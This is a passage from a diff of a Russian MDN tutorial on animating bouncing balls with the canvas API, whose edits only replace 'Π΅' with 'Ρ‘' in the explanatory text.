<li>ПолоТСниС <code>x</code> ΠΈ <code>y</code> Ρ†Π΅Π½Ρ‚Ρ€Π° Π΄ΡƒΠ³ΠΈ - ΠΌΡ‹ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ свойства <code>x</code> ΠΈ <code>y</code> нашСго ΡˆΠ°Ρ€Π°.</li>
<li>Радиус нашСй Π΄ΡƒΠ³ΠΈ - ΠΌΡ‹ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ свойство <code>size</code> ΡˆΠ°Ρ€ΠΈΠΊΠ°.</li>
- <li>ПослСдниС Π΄Π²Π° ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ΅ число градусов ΠΏΠΎ ΠΊΡ€ΡƒΠ³Ρƒ, ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ Π΄ΡƒΠ³Π°. Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ 0 градусов ΠΈ <code>2 * PI</code>, Ρ‡Ρ‚ΠΎ эквивалСнтно 360 градусам Π² Ρ€Π°Π΄ΠΈΠ°Π½Π°Ρ… (досадно, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ это Π² Ρ€Π°Π΄ΠΈΠ°Π½Π°Ρ…). Π­Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΊΡ€ΡƒΠ³. Если Π²Ρ‹ ΡƒΠΊΠ°Π·Π°Π»ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ <code>1 * PI</code>, Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ ΠΏΠΎΠ»ΡƒΠΊΡ€ΡƒΠ³ (180 градусов).</li>
+ <li>ПослСдниС Π΄Π²Π° ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ΅ число градусов ΠΏΠΎ ΠΊΡ€ΡƒΠ³Ρƒ, ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ Π΄ΡƒΠ³Π°. Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ 0 градусов ΠΈ <code>2 * PI</code>, Ρ‡Ρ‚ΠΎ эквивалСнтно 360 градусам Π² Ρ€Π°Π΄ΠΈΠ°Π½Π°Ρ… (досадно, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ это Π² Ρ€Π°Π΄ΠΈΠ°Π½Π°Ρ…). Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΊΡ€ΡƒΠ³. Если Π²Ρ‹ ΡƒΠΊΠ°Π·Π°Π»ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ <code>1 * PI</code>, Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ ΠΏΠΎΠ»ΡƒΠΊΡ€ΡƒΠ³ (180 градусов).</li>
</ul>
</li>
<li>Π’ послСднСм случаС ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/fill">fill()</a></code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² основном ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π°Π΅Ρ‚: Β«Π—Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚Π΅ рисованиС ΠΏΡƒΡ‚ΠΈ, Π½Π°Ρ‡Π°Ρ‚ΠΎΠ³ΠΎ с <code>beginPath()</code>, ΠΈ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΎΠ½ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ с Ρ†Π²Π΅Ρ‚ΠΎΠΌ, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌ Ρ€Π°Π½Π΅Π΅ Π² <code>fillStyle</code>Β».</li>
@@ -165,7 +165,7 @@ testBall.draw()</pre>
<p>ΠŸΠ΅Ρ€Π²Ρ‹Π΅ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ части Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚, достиг Π»ΠΈ ΡˆΠ°Ρ€ края холста. Если это Ρ‚Π°ΠΊ, ΠΌΡ‹ измСняСм ΠΏΠΎΠ»ΡΡ€Π½ΠΎΡΡ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ скорости, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΡˆΠ°Ρ€ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΠΌ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ. Π’Π°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли мяч двигался Π²Π²Π΅Ρ€Ρ… (ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ <code>velY</code>), Ρ‚ΠΎ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Π°Ρ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ измСняСтся Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ Π²Π½ΠΈΠ· (ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Π°Ρ Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Π° <code>velY</code>).</p>
-<p>Π’ этих Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… случаях ΠΌΡ‹:</p>
+<p>Π’ этих Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… случаях ΠΌΡ‹:</p>
<ul>
<li>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅ΠΌΒ Π±ΠΎΠ»ΡŒΡˆΠ΅ Π»ΠΈ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π° <code>x</code>, Ρ‡Π΅ΠΌ ΡˆΠΈΡ€ΠΈΠ½Π° холста (мяч ΡƒΡ…ΠΎΠ΄ΠΈΡ‚ с ΠΏΡ€Π°Π²ΠΎΠ³ΠΎ края).</li>
@@ -174,7 +174,7 @@ testBall.draw()</pre>
<li>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅ΠΌΒ Π±ΡƒΠ΄Π΅Ρ‚ Π»ΠΈ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π° <code>y</code> мСньшС 0 (мяч ΡƒΡ…ΠΎΠ΄ΠΈΡ‚ с Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ края).</li>
</ul>
-<p>Π’ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС ΠΌΡ‹ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅ΠΌ <code>size</code> ΡˆΠ°Ρ€ΠΈΠΊΠ° Π² расчСт, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ <code>x</code>/<code>y</code> находятся Π² Ρ†Π΅Π½Ρ‚Ρ€Π΅ ΡˆΠ°Ρ€Π°, Π½ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΡ€Π°ΠΉ ΡˆΠ°Ρ€Π° отскакивал ΠΎΡ‚ ΠΏΠ΅Ρ€ΠΈΠΌΠ΅Ρ‚Ρ€Π° - ΠΌΡ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ мяч Π½Π° ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Ρƒ Π·Π°Ρ…ΠΎΠ΄ΠΈΠ» Π·Π° Π³Ρ€Π°Π½ΠΈΡ†Ρƒ экрана прСТдС Ρ‡Π΅ΠΌ ΠΎΠ½ Π½Π°Ρ‡Π½Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ Π½Π°Π·Π°Π΄.</p>
+<p>Π’ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС ΠΌΡ‹ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅ΠΌ <code>size</code> ΡˆΠ°Ρ€ΠΈΠΊΠ° Π² расчёт, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ <code>x</code>/<code>y</code> находятся Π² Ρ†Π΅Π½Ρ‚Ρ€Π΅ ΡˆΠ°Ρ€Π°, Π½ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΡ€Π°ΠΉ ΡˆΠ°Ρ€Π° отскакивал ΠΎΡ‚ ΠΏΠ΅Ρ€ΠΈΠΌΠ΅Ρ‚Ρ€Π° - ΠΌΡ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ мяч Π½Π° ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Ρƒ Π·Π°Ρ…ΠΎΠ΄ΠΈΠ» Π·Π° Π³Ρ€Π°Π½ΠΈΡ†Ρƒ экрана прСТдС Ρ‡Π΅ΠΌ ΠΎΠ½ Π½Π°Ρ‡Π½Ρ‘Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ Π½Π°Π·Π°Π΄.</p>
<p>ПослСдниС Π΄Π²Π΅ строки Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>velX</code> ΠΊ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π΅ <code>x</code>, Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>velY</code> - ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π΅ <code>y</code> - ΡˆΠ°Ρ€ фактичСски пСрСмСщаСтся ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π²Ρ‹Π·ΠΎΠ²Π΅ этого ΠΌΠ΅Ρ‚ΠΎΠ΄Π°.</p>
@@ -182,7 +182,7 @@ testBall.draw()</pre>
<h2 id="Анимация_мяча">Анимация мяча</h2>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΈΡΡ‚ΡƒΠΏΠ°Ρ‚ΡŒ ΠΊ вСсСлью! БСйчас ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ ΡˆΠ°Ρ€Ρ‹ ΠΊ холсту ΠΈ Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ….</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΈΡΡ‚ΡƒΠΏΠ°Ρ‚ΡŒ ΠΊ вСсСлью! БСйчас ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ ΡˆΠ°Ρ€Ρ‹ ΠΊ холсту ΠΈ Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ….</p>
<ol>
<li>Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π³Π΄Π΅-Ρ‚ΠΎ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ всС наши ΡˆΠ°Ρ€Ρ‹. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ массив Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ это Π·Π°Π΄Π°Π½ΠΈΠ΅ - Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π΅Π³ΠΎ Π²Π½ΠΈΠ·Ρƒ ΠΊΠΎΠ΄Π°:
@@ -218,10 +218,10 @@ testBall.draw()</pre>
<p>Наша функция <code>loop()</code> выполняСт ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ дСйствия:</p>
<ul>
- <li>УстанавливаСт Ρ†Π²Π΅Ρ‚ Π·Π°Π»ΠΈΠ²ΠΊΠΈ Π½Π° ΠΏΠΎΠ»ΡƒΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ, Π·Π°Ρ‚Π΅ΠΌ рисуСт ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ Ρ†Π²Π΅Ρ‚Π° ΠΏΠΎ всСй ΡˆΠΈΡ€ΠΈΠ½Π΅ ΠΈ высотС холста, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <code>fillRect()</code> (Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΡƒΡŽ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρƒ, Π° ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΈ высоту для рисованного ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° ). Π­Ρ‚ΠΎ позволяСт ΡΠΊΡ€Ρ‹Ρ‚ΡŒ рисунок ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ ΠΊΠ°Π΄Ρ€Π° Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π±ΡƒΠ΄Π΅Ρ‚ нарисован ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ. Если Π²Ρ‹ этого Π½Π΅ сдСлаСтС, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, ΠΊΠ°ΠΊ Π΄Π»ΠΈΠ½Π½Ρ‹Π΅ Π·ΠΌΠ΅ΠΈ ΠΏΡ€ΠΎΠ±ΠΈΡ€Π°ΡŽΡ‚ΡΡ Π²ΠΎΠΊΡ€ΡƒΠ³ холста, Π° Π½Π΅ ΡˆΠ°Ρ€Ρ‹! Π¦Π²Π΅Ρ‚ Π·Π°Π»ΠΈΠ²ΠΊΠΈ устанавливаСтся Π½Π° ΠΏΠΎΠ»ΡƒΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ, <code>rgba(0,0,0,0,25)</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ нСскольким ΠΊΠ°Π΄Ρ€Π°ΠΌ слСгка ΠΏΡ€ΠΎΡΠ²Π΅Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ, создавая малСнькиС Ρ‚Ρ€ΠΎΠΏΡ‹ Π·Π° ΡˆΠ°Ρ€ΠΈΠΊΠ°ΠΌΠΈ ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ ΠΈΡ… пСрСмСщСния. Если Π²Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ»ΠΈ 0.25 Π½Π° 1, Π²Ρ‹ большС Π½Π΅ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΈΡ…. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ это число, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ эффСкт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ ΠΈΠΌΠ΅Π΅Ρ‚.</li>
- <li>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр нашСго <code>Ball()</code>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ случайныС значСния, сгСнСрированныС с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ нашСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>random()</code>, Π·Π°Ρ‚Π΅ΠΌ <code>push()</code> Π½Π° ΠΊΠΎΠ½Π΅Ρ† нашСго массива ΡˆΠ°Ρ€ΠΎΠ², Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, ΠΊΠΎΠ³Π΄Π° количСство ΡˆΠ°Ρ€ΠΎΠ² Π² массивС мСньшС 25. Π˜Ρ‚Π°ΠΊ ΠΊΠΎΠ³Π΄Π° Ρƒ нас Π΅ΡΡ‚ΡŒ 25 мячСй Π½Π° экранС, большС Π½Π΅ появляСтся ΡˆΠ°Ρ€ΠΎΠ². Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ число Π² <code>balls.length &lt; 25</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ большС ΠΈΠ»ΠΈ мСньшС ΡˆΠ°Ρ€ΠΎΠ² Π½Π° экранС. Π’ зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, сколько Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ мощности ΠΈΠΌΠ΅Π΅Ρ‚ ваш ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ / Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Ссли ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ нСсколько тысяч ΡˆΠ°Ρ€ΠΎΠ², это ΠΌΠΎΠΆΠ΅Ρ‚ довольно сущСствСнно ΠΏΠΎΠ²Π»ΠΈΡΡ‚ΡŒ Π½Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.Β </li>
+ <li>УстанавливаСт Ρ†Π²Π΅Ρ‚ Π·Π°Π»ΠΈΠ²ΠΊΠΈ Π½Π° ΠΏΠΎΠ»ΡƒΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ, Π·Π°Ρ‚Π΅ΠΌ рисуСт ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ Ρ†Π²Π΅Ρ‚Π° ΠΏΠΎ всСй ΡˆΠΈΡ€ΠΈΠ½Π΅ ΠΈ высотС холста, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <code>fillRect()</code> (Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΡƒΡŽ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρƒ, Π° ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΈ высоту для рисованного ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° ). Π­Ρ‚ΠΎ позволяСт ΡΠΊΡ€Ρ‹Ρ‚ΡŒ рисунок ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ ΠΊΠ°Π΄Ρ€Π° Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π±ΡƒΠ΄Π΅Ρ‚ нарисован ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ. Если Π²Ρ‹ этого Π½Π΅ сдСлаСтС, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, ΠΊΠ°ΠΊ Π΄Π»ΠΈΠ½Π½Ρ‹Π΅ Π·ΠΌΠ΅ΠΈ ΠΏΡ€ΠΎΠ±ΠΈΡ€Π°ΡŽΡ‚ΡΡ Π²ΠΎΠΊΡ€ΡƒΠ³ холста, Π° Π½Π΅ ΡˆΠ°Ρ€Ρ‹! Π¦Π²Π΅Ρ‚ Π·Π°Π»ΠΈΠ²ΠΊΠΈ устанавливаСтся Π½Π° ΠΏΠΎΠ»ΡƒΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ, <code>rgba(0,0,0,0,25)</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ нСскольким ΠΊΠ°Π΄Ρ€Π°ΠΌ слСгка ΠΏΡ€ΠΎΡΠ²Π΅Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ, создавая малСнькиС Ρ‚Ρ€ΠΎΠΏΡ‹ Π·Π° ΡˆΠ°Ρ€ΠΈΠΊΠ°ΠΌΠΈ ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ ΠΈΡ… пСрСмСщСния. Если Π²Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ»ΠΈ 0.25 Π½Π° 1, Π²Ρ‹ большС Π½Π΅ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΈΡ…. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ это число, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ эффСкт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ ΠΈΠΌΠ΅Π΅Ρ‚.</li>
+ <li>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр нашСго <code>Ball()</code>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ случайныС значСния, сгСнСрированныС с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ нашСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>random()</code>, Π·Π°Ρ‚Π΅ΠΌ <code>push()</code> Π½Π° ΠΊΠΎΠ½Π΅Ρ† нашСго массива ΡˆΠ°Ρ€ΠΎΠ², Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, ΠΊΠΎΠ³Π΄Π° количСство ΡˆΠ°Ρ€ΠΎΠ² Π² массивС мСньшС 25. Π˜Ρ‚Π°ΠΊ ΠΊΠΎΠ³Π΄Π° Ρƒ нас Π΅ΡΡ‚ΡŒ 25 мячСй Π½Π° экранС, большС Π½Π΅ появляСтся ΡˆΠ°Ρ€ΠΎΠ². Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ число Π² <code>balls.length &lt; 25</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ большС ΠΈΠ»ΠΈ мСньшС ΡˆΠ°Ρ€ΠΎΠ² Π½Π° экранС. Π’ зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, сколько Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ мощности ΠΈΠΌΠ΅Π΅Ρ‚ ваш ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ / Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Ссли ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ нСсколько тысяч ΡˆΠ°Ρ€ΠΎΠ², это ΠΌΠΎΠΆΠ΅Ρ‚ довольно сущСствСнно ΠΏΠΎΠ²Π»ΠΈΡΡ‚ΡŒ Π½Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.Β </li>
<li>ΠΏΠ΅Ρ€Π΅Π±ΠΈΡ€Π°Π΅Ρ‚ всС ΡˆΠ°Ρ€Ρ‹ Π² массивС <code>balls</code> ΠΈ запускаСт ΠΊΠ°ΠΆΠ΄ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>draw()</code> ΠΈ <code>update()</code> для рисования ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ… Π½Π° экранС, Π° Π·Π°Ρ‚Π΅ΠΌ выполняСт Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ обновлСния ΠΏΠΎ полоТСнию ΠΈ скорости Π²ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ для ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΊΠ°Π΄Ρ€Π°.</li>
- <li>ВыполняСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ снова с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>requestAnimationFrame()</code> - ΠΊΠΎΠ³Π΄Π° этот ΠΌΠ΅Ρ‚ΠΎΠ΄ постоянно запускаСтся ΠΈ пСрСдаСтся ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ имя Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ количСство Ρ€Π°Π· Π² сСкунду для создания ΠΏΠ»Π°Π²Π½ΠΎΠΉ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ это дСлаСтся рСкурсивно - это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ функция Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ сСбя 